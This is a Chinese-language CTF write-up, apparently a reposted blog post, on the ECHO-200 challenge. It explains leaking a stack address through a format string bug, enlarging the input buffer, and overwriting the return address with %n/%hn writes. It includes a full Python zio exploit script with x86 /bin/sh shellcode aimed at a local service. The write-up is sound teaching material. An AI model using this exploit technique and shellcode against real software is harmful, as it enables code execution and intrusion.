CTF-ECHO-200格式化字符串漏洞+shellcode

来源:互联网 发布:java开发购物网站 编辑:程序博客网 时间:2024/06/03 20:11

很开心有成功做了一道格式化字符串,这题我也不清楚是哪次比赛上的,漏洞还是十分的明显,格式化加个shellcode直接搞定。就是这算的比较麻烦一点。
那么直接进入正题咯!
开干!!
首先拿checksec检查一遍(个人习惯哈)
这里写图片描述
可以看到,开了栈保护,但是NX disabled,说明堆栈可执行,直接上shellcode,也没有PIE。
先试试水。
这里写图片描述
应该有格式化漏洞。
IDA反汇编。
这里写图片描述
格式化字符串漏洞不要太明显了呢。但是我们一次只能写入16个字节,这咋写shellcode丫。调试的时候发现。
这里写图片描述
BFCBB324的值是由BFCBB330传来的,而且BFCBB350在整个循环中没有改变,那我们就可以先通过16字节泄露出一个地址,从而来确定栈的相对位置,在来更改BFCBB330的值,从而获取更大的漏洞的利用空间,
这里写图片描述
可以看下这段代码。1FF也就是511,也就是最多可以利用511字节。这对于我们来说足够了。那么拿到栈的相对位置之后,我们就可以确定返回地址,以及各种我们想要的栈地址,
这里在算shellcode的相对位置时会比较麻烦,还要考虑下字节补足。
具体的调试过程我就不再过多的写了,对于这种题目找到漏洞后有一个利用思路就足够了,剩下的就是慢慢的调试。
贴上代码:

from zio import *import struct target=('127.0.0.1',10000)io = zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))c2=raw_input('go1?')io.read_until("16")payload='%12$ud'io.writeline(payload)test=io.read_until('16')stack=int(test[7:17],10)size=stack-0x7aprint hex(size)payload=l32(size)payload+='%999d'  #write stack 99payload+='%7$n'io.writeline(payload)io.read_until('Reading 511 bytes') #write shellcodetiaozhuan=size+0x8ret=size+0x21cshell_addr=size+0x3cshell='\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1'+'\x40'*11+'\x31\xd2\xcd\x80's=len(shell)print hex(tiaozhuan)print hex(ret)print hex(s)print hex(shell_addr)len1=(shell_addr & 0x0000ffff) -0x16 -0x6   #di 4 weilen2=(shell_addr >> 16) - (shell_addr & 0x0000ffff)    #gao 4 weipayload=l32(tiaozhuan)+l32(ret)+l32(ret+0x2)payload+='%16x'+'%7$n'payload+='%'+str(len1)+'x'+'%8$hn'payload+='%'+str(len2)+'x'+'%9$hn'x=len(str(len1))y=len(str(len2))print 'x:'+hex(x)print 'y:'+hex(y)payload+='a'*(6-x)+'a'*(6-y+2) + shellio.writeline(payload)io.writeline('cat flag')io.interact()

补充:哎,本来想着差不多写完了。但是想想对于刚接触格式化的小白来说,可能在调试的过程中会碰到许多的问题(至少我就没少遇到。)所以在这里做点补充。
1.如何leak stack的地址。
这其实是个难点,我觉得是。

io.read_until("16")payload='%12$ud'io.writeline(payload)test=io.read_until('16')stack=int(test[7:17],10)size=stack-0x7aprint hex(size)

如果对汇编比较了解,那么通过看汇编代码应该能看出来。否则就得细心慢慢找咯,由于栈上的地址通常以0xba123344这种,对应十进制的长度就应该是10位,所以用int(test[7:17],10),当然又可以用16进制leak。。不知道有没有讲清楚。汗!
2.另一个点,就是跳出while循环,从反汇编的代码来看,这是个死循环,无法正常跳出。但我们在调试程序的时候发现它是通过一个cmp来进行判断。如图。
这里写图片描述
咋办嘞?直接把[esp+18h]给改了就行了。
3.最后一个问题,可能就是如何组织栈了,建议把地址写在前面。可以参考一下我的。

完了!

原创粉丝点击